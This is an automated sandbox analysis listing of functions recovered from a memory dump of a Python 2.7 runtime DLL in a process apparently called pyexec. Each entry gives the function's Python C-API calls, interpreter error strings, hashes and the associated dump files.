heap argument must be a list, xrefs: 6C0A848F
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C0A84CA
index out of range, xrefs: 6C0A84CF

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$FromObjectString_$List_Slice
String ID: 8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$heap argument must be a list$index out of range
API String ID: 1329020071-2997136277
Opcode ID: d1136cac15100c91a11aaf59ef16030d21138a6429a6a69ae6546f58b3b73c79
Instruction ID: 24bb28cb1277674eafa83732bad3f4ae011439be86103a869a8ebf10627143de
Opcode Fuzzy Hash: d1136cac15100c91a11aaf59ef16030d21138a6429a6a69ae6546f58b3b73c79
Instruction Fuzzy Hash: 6D210E777056004FD310DAE9EC84A9AB3E8EB8523DB140767ED1CC7B41E621EC1687D1

Function 6C0A8610 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON27(?,heappushpop,00000002,00000002,?,?), ref: 6C0A862B

Part of subcall function 6C1C5D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DB2
Part of subcall function 6C1C5D90: PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DBB

PyErr_SetString.PYTHON27(6C2E48B0,heap argument must be a list), ref: 6C0A8652

Part of subcall function 6C0A8130: PyString_FromString.PYTHON27(__lt__), ref: 6C0A8144

PyErr_SetString.PYTHON27(6C2E5B38,index out of range), ref: 6C0A869D

Part of subcall function 6C0A82E0: PyString_FromString.PYTHON27(index out of range), ref: 6C0A830A
Part of subcall function 6C0A82E0: PyErr_SetObject.PYTHON27(6C2E5B38,00000000,index out of range), ref: 6C0A8313

Strings

heap argument must be a list, xrefs: 6C0A864C
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C0A8691
heappushpop, xrefs: 6C0A8625
index out of range, xrefs: 6C0A8697

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$Err_$FromString_$Object$Arg_TupleUnpack
String ID: 8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$heap argument must be a list$heappushpop$index out of range
API String ID: 3571261255-3791661636
Opcode ID: d61f1fd3a452c5732c65b9a9037d03d64a9922e2fb66c8ab384d656e5a26ac05
Instruction ID: 9ada0d7ac41c4c71a669fbf06ceb4cdfebf1a2d585c31ab50c1957ccd987a325
Opcode Fuzzy Hash: d61f1fd3a452c5732c65b9a9037d03d64a9922e2fb66c8ab384d656e5a26ac05
Instruction Fuzzy Hash: 18218135A002049FD700CBE4D884E99B3F8EB49328F244795EC0897B51E631ED16DB81

Function 6C163660 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

PyErr_NoMemory.PYTHON27(?,?,6C1638F0,00000014,?), ref: 6C16366E

Part of subcall function 6C1C0380: PyErr_GivenExceptionMatches.PYTHON27(00000000,6C2E67A8,?,6C177E82,00000000,6C12B1D5,?,?,?,6C12F66F,00000000,?,00000000,6C12F785,00000000), ref: 6C1C0396
Part of subcall function 6C1C0380: PyErr_SetObject.PYTHON27(6C2E67A8,?), ref: 6C1C03B3

malloc.MSVCR90 ref: 6C163690
PyErr_NoMemory.PYTHON27(00000000,?,?,6C1638F0,00000014,?), ref: 6C16369F

Strings

F, xrefs: 6C1636DD

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$Memory$ExceptionGivenMatchesObjectmalloc
String ID: F
API String ID: 3549491605-1304234792
Opcode ID: 523b2e49452b6c023e0d6c523d82112b9ad7defed28761ad8c25eb776dfc8fa4
Instruction ID: e9fb6786d98a491d9c0103f5e265d29c999be5aa593d26c9084007f0673a6b71
Opcode Fuzzy Hash: 523b2e49452b6c023e0d6c523d82112b9ad7defed28761ad8c25eb776dfc8fa4
Instruction Fuzzy Hash: 3F2124B1A002045FD3208E66D981B6B77B8DF51338F504758FC2AC7F80E639DA678A61

Function 6C18C010 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

PyInt_FromLong.PYTHON27(00000001,?,?,?,6C18C173,6C2DFB7C,00000000,6C2DFB7C,6C2DFB7C,?,6C18C7E7,6C2DFB7C), ref: 6C18C01C
PyObject_GetItem.PYTHON27(?,00000000,6C2DFB7C), ref: 6C18C033
PyErr_GivenExceptionMatches.PYTHON27(?,6C2E5A68,?,?,6C2DFB7C), ref: 6C18C063
PyErr_Clear.PYTHON27(?,?,?,?,6C2DFB7C), ref: 6C18C06F
PyErr_SetString.PYTHON27(6C2E48B0,character mapping must return integer, None or str,?,?,6C2DFB7C), ref: 6C18C0C5

Strings

character mapping must return integer, None or str, xrefs: 6C18C0B9
character mapping must be in range(256), xrefs: 6C18C0AB

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ClearExceptionFromGivenInt_ItemLongMatchesObject_String
String ID: character mapping must be in range(256)$character mapping must return integer, None or str
API String ID: 2078585664-499293463
Opcode ID: 8469759cbfed692489d8db0fc5e8d31da1c30690c641d73c5db0e0f0c7a65740
Instruction ID: 0d50e0ae23e3109ea9e9865d201ff60a9785ecf143835cc576461a87d8247b5f
Opcode Fuzzy Hash: 8469759cbfed692489d8db0fc5e8d31da1c30690c641d73c5db0e0f0c7a65740
Instruction Fuzzy Hash: 61212EBEA0520557C7109A69EC10AA773A8DB99378F140329EC78C7B80E729EC55CBD1

Function 6C0A8550 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON27(?,heapreplace,00000002,00000002,?,?), ref: 6C0A856B

Part of subcall function 6C1C5D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DB2
Part of subcall function 6C1C5D90: PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DBB

PyErr_SetString.PYTHON27(6C2E48B0,heap argument must be a list), ref: 6C0A8592

Part of subcall function 6C0A82E0: PyString_FromString.PYTHON27(index out of range), ref: 6C0A830A
Part of subcall function 6C0A82E0: PyErr_SetObject.PYTHON27(6C2E5B38,00000000,index out of range), ref: 6C0A8313

PyErr_SetString.PYTHON27(6C2E5B38,index out of range), ref: 6C0A85B1

Strings

heap argument must be a list, xrefs: 6C0A858C
heapreplace, xrefs: 6C0A8565
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C0A85A6
index out of range, xrefs: 6C0A85AB

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$FromObjectString_$Arg_TupleUnpack
String ID: 8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$heap argument must be a list$heapreplace$index out of range
API String ID: 3032523836-3045529224
Opcode ID: 63d0d56fadeed04fc6faad1ae4e8a7b8469069abc991dc2f22358a8008c00d3f
Instruction ID: f22803664c0f4a637bc87ae0353337803b566f65927ac23df13b5ab0f400e4aa
Opcode Fuzzy Hash: 63d0d56fadeed04fc6faad1ae4e8a7b8469069abc991dc2f22358a8008c00d3f
Instruction Fuzzy Hash: BE119035A10204AFCB00DBF8D889E9AB3F8EB49318F148695ED08D7B41EA31ED55CBC1

Function 6C1B44F0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(bad argument type for built-in operation,?,?,?,?,?,6C0A152C,?), ref: 6C1B4521
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,bad argument type for built-in operation,?,?,?,?,?,6C0A152C,?), ref: 6C1B452A

Part of subcall function 6C1B5BD0: Py_FatalError.PYTHON27(GC object already tracked), ref: 6C1B5C28
Part of subcall function 6C1B5BD0: PyDict_New.PYTHON27 ref: 6C1B5C57
Part of subcall function 6C1B5BD0: PyDict_New.PYTHON27 ref: 6C1B5C5F
Part of subcall function 6C1B5BD0: PyCFunction_NewEx.PYTHON27(6C2C6BFC,00000000,00000000), ref: 6C1B5C78
Part of subcall function 6C1B5BD0: Py_FatalError.PYTHON27(can't initialize codec error registry), ref: 6C1B5C8B
Part of subcall function 6C1B5BD0: PyCodec_RegisterError.PYTHON27(strict,00000000), ref: 6C1B5C9B
Part of subcall function 6C1B5BD0: Py_FatalError.PYTHON27(can't initialize codec error registry), ref: 6C1B5CBF
Part of subcall function 6C1B5BD0: Py_FatalError.PYTHON27(can't initialize codec registry), ref: 6C1B5CEA
Part of subcall function 6C1B5BD0: _PyImport_AcquireLock.PYTHON27 ref: 6C1B5CF2
Part of subcall function 6C1B5BD0: _PyImport_ReleaseLock.PYTHON27 ref: 6C1B5D0C

PyCallable_Check.PYTHON27(?,?,?,?,?,?,6C0A152C,?), ref: 6C1B4551

Part of subcall function 6C167170: PyObject_GetAttrString.PYTHON27(6C12F42C,__call__,?,6C12F42C,00000000), ref: 6C16718B
Part of subcall function 6C167170: PyErr_Clear.PYTHON27(6C12F42C,00000000), ref: 6C167197

PyErr_SetString.PYTHON27(6C2E48B0,argument must be callable), ref: 6C1B4568
PyList_Append.PYTHON27(?,?), ref: 6C1B457E

Strings

argument must be callable, xrefs: 6C1B4562
bad argument type for built-in operation, xrefs: 6C1B451C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Error$Fatal$Err_String$Dict_Import_Lock$AcquireAppendAttrCallable_CheckClearCodec_FromFunction_List_ObjectObject_RegisterReleaseString_
String ID: argument must be callable$bad argument type for built-in operation
API String ID: 2394668904-3621550602
Opcode ID: 4231a8202af61db78b18329f17eaf0082ca7a4efbe35ca5f54658a6cef5b37ea
Instruction ID: 4d9d25ebaa43189edd3bb5f7c995d47c82187ab5be60596282389c170456e86d
Opcode Fuzzy Hash: 4231a8202af61db78b18329f17eaf0082ca7a4efbe35ca5f54658a6cef5b37ea
Instruction Fuzzy Hash: 6F110C77E1090457C510DA69FD04A9733B88B9677CB144369EC3897BD0FB31E8158BE2

Function 6C13ECA0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

PyCapsule_GetName.PYTHON27(?), ref: 6C13ECBA

Part of subcall function 6C139220: PyErr_SetString.PYTHON27(6C2E5D10,PyCapsule_GetName called with invalid PyCapsule object), ref: 6C139244

PyCapsule_GetPointer.PYTHON27(?,00000000,?), ref: 6C13ECC1

Part of subcall function 6C1391C0: PyErr_SetString.PYTHON27(6C2E5D10,PyCapsule_GetPointer called with invalid PyCapsule object), ref: 6C1391E6

PyString_FromString.PYTHON27(PyCObject_AsVoidPtr called with null pointer), ref: 6C13ED09
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,PyCObject_AsVoidPtr called with null pointer), ref: 6C13ED12

Strings

PyCObject_AsVoidPtr with non-C-object, xrefs: 6C13ECE4
PyCObject_AsVoidPtr called with null pointer, xrefs: 6C13ED04

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$Capsule_$FromNameObjectPointerString_
String ID: PyCObject_AsVoidPtr called with null pointer$PyCObject_AsVoidPtr with non-C-object
API String ID: 4117292631-4195522665
Opcode ID: b50a942dc419dab7407ae0fc3a4fa376e028d3f3a9b3c892fb5559cc78f626aa
Instruction ID: 35dde87971e05dbf8f28aa8c6e3ece4b7b7af8a1c038df8ab54e29e9c256da7b
Opcode Fuzzy Hash: b50a942dc419dab7407ae0fc3a4fa376e028d3f3a9b3c892fb5559cc78f626aa
Instruction Fuzzy Hash: 86010432E0163867C611D659BC049DF33A89F9923CF040765EC2CABB40EB21EE6687D1

Function 6C0B60E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E48B0,Argument given by name ('%s') and position (1)), ref: 6C0B6107
sprintf.MSVCR90 ref: 6C0B6128
PyErr_WarnEx.PYTHON27(6C2E6B30,?,00000001), ref: 6C0B613A
PyErr_SetString.PYTHON27(6C2E48B0,Required argument 'string' (pos 1) not found), ref: 6C0B616C

Strings

The '%s' keyword parameter name is deprecated. Use 'string' instead., xrefs: 6C0B6122
Argument given by name ('%s') and position (1), xrefs: 6C0B6101
Required argument 'string' (pos 1) not found, xrefs: 6C0B6166

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatStringWarnsprintf
String ID: Argument given by name ('%s') and position (1)$Required argument 'string' (pos 1) not found$The '%s' keyword parameter name is deprecated. Use 'string' instead.
API String ID: 3032582101-1497271356
Opcode ID: 48dc71e38c6c0b0389c2d97de11876a790be1a6c1c926345a88dd8aceb1bb950
Instruction ID: 26c29bb80a08a296bd88d0577c15f8da1b40fa353ea0007ae56a1f1e7b733cc6
Opcode Fuzzy Hash: 48dc71e38c6c0b0389c2d97de11876a790be1a6c1c926345a88dd8aceb1bb950
Instruction Fuzzy Hash: A1110231B002085BCB44DBB88C56BAE73F8DB4D604B40085DEC0AF7B81EE399908C781

Function 6C1CF0A0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 58COMMON

Download Yara Rule

APIs

isspace.MSVCR90 ref: 6C1CF0B9
PyOS_strtoul.PYTHON27(?,?,?,?,?,?,6C157604,?,?,?), ref: 6C1CF0E1
_errno.MSVCR90 ref: 6C1CF10B

Strings

+, xrefs: 6C1CF0CD
-, xrefs: 6C1CF0FB
-, xrefs: 6C1CF0F0
-, xrefs: 6C1CF0D2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: S_strtoul_errnoisspace
String ID: +$-$-$-
API String ID: 607549006-1581796996
Opcode ID: 87b13068527550d24fdf07fa670004d9f0d8b6690e4ffa124d12cb95884789f2
Instruction ID: 68578bc17c5653a1743ea4e8ab8e1babc32ddee0d3c990a1968b7997247a0c19
Opcode Fuzzy Hash: 87b13068527550d24fdf07fa670004d9f0d8b6690e4ffa124d12cb95884789f2
Instruction Fuzzy Hash: 9B0124717492091EFB100958E8007E677AEDB7277CF280643FCB4C3A81C22AD85146A3

Function 6C15FDB0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 55COMMON

Download Yara Rule

APIs

_PyLong_Frexp.PYTHON27(?,?), ref: 6C15FDD2
PyErr_SetString.PYTHON27(6C2E63F8,long int too large to convert to float), ref: 6C15FE0D
ldexp.MSVCR90 ref: 6C15FE26
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\longobject.c,00000920), ref: 6C15FE49

Strings

..\Objects\longobject.c, xrefs: 6C15FE3E
long int too large to convert to float, xrefs: 6C15FE07
%s:%d: bad argument to internal function, xrefs: 6C15FE43

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatFrexpLong_Stringldexp
String ID: %s:%d: bad argument to internal function$..\Objects\longobject.c$long int too large to convert to float
API String ID: 1971418049-180189209
Opcode ID: a5839edbecd51cf43b95e8ab8c6d93b2d102841b61b69f50fce94187669bae9b
Instruction ID: 0daa75551efe536bac1898cce2df25941dcdaf0d15dd54fced9d5690c47403c4
Opcode Fuzzy Hash: a5839edbecd51cf43b95e8ab8c6d93b2d102841b61b69f50fce94187669bae9b
Instruction Fuzzy Hash: 880104B0B001089BDA00EB58DD89F553778DB8531DF914688FE68476C1EB35D879CBC5

Function 6C1D0EC0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(6F68F1C3,?,?,6C165944), ref: 6C1D0ECB
TlsGetValue.KERNEL32(?,?,6C165944), ref: 6C1D0ED4
SetLastError.KERNEL32(00000000,?,6C165944), ref: 6C1D0EDD
Py_FatalError.PYTHON27(Couldn't create thread-state for new thread), ref: 6C1D0F06

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

PyEval_RestoreThread.PYTHON27(00000000,?,6C165944), ref: 6C1D0F25
PyEval_InitThreads.PYTHON27(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C165944), ref: 6C1D0F34

Part of subcall function 6C1D0600: malloc.MSVCR90 ref: 6C1D0607
Part of subcall function 6C1D0600: GetCurrentThreadId.KERNEL32 ref: 6C1D065C
Part of subcall function 6C1D0600: _PyThreadState_Init.PYTHON27(00000000), ref: 6C1D0692
Part of subcall function 6C1D0600: InterlockedDecrement.KERNEL32(?), ref: 6C1D06C9
Part of subcall function 6C1D0600: SetEvent.KERNEL32(?), ref: 6C1D06D7

Strings

Couldn't create thread-state for new thread, xrefs: 6C1D0F01

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugErrorOutputStringThread$Eval_InitLast__iob_func$CurrentDecrementEventFatalInterlockedRestoreState_ThreadsValueabortfflushfprintfmalloc
String ID: Couldn't create thread-state for new thread
API String ID: 4077047371-820119880
Opcode ID: f2a1476cd3c59687cd79cea1da5c2fd969f258f63090a5e124de4b8c6aab73a6
Instruction ID: 117d716155c39eb28cd82633b560efc4033aa08513be1a634363ff3099baaa09
Opcode Fuzzy Hash: f2a1476cd3c59687cd79cea1da5c2fd969f258f63090a5e124de4b8c6aab73a6
Instruction Fuzzy Hash: 34014E77A006215BCF119BF94D8498B37B9AFCA2A832B0539E941D3B00EB78F84547D2

Function 6C159520 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 46COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000000B6), ref: 6C15954B

Strings

%s:%d: bad argument to internal function, xrefs: 6C159545
list index out of range, xrefs: 6C159578
..\Objects\listobject.c, xrefs: 6C159540
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C15958F

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
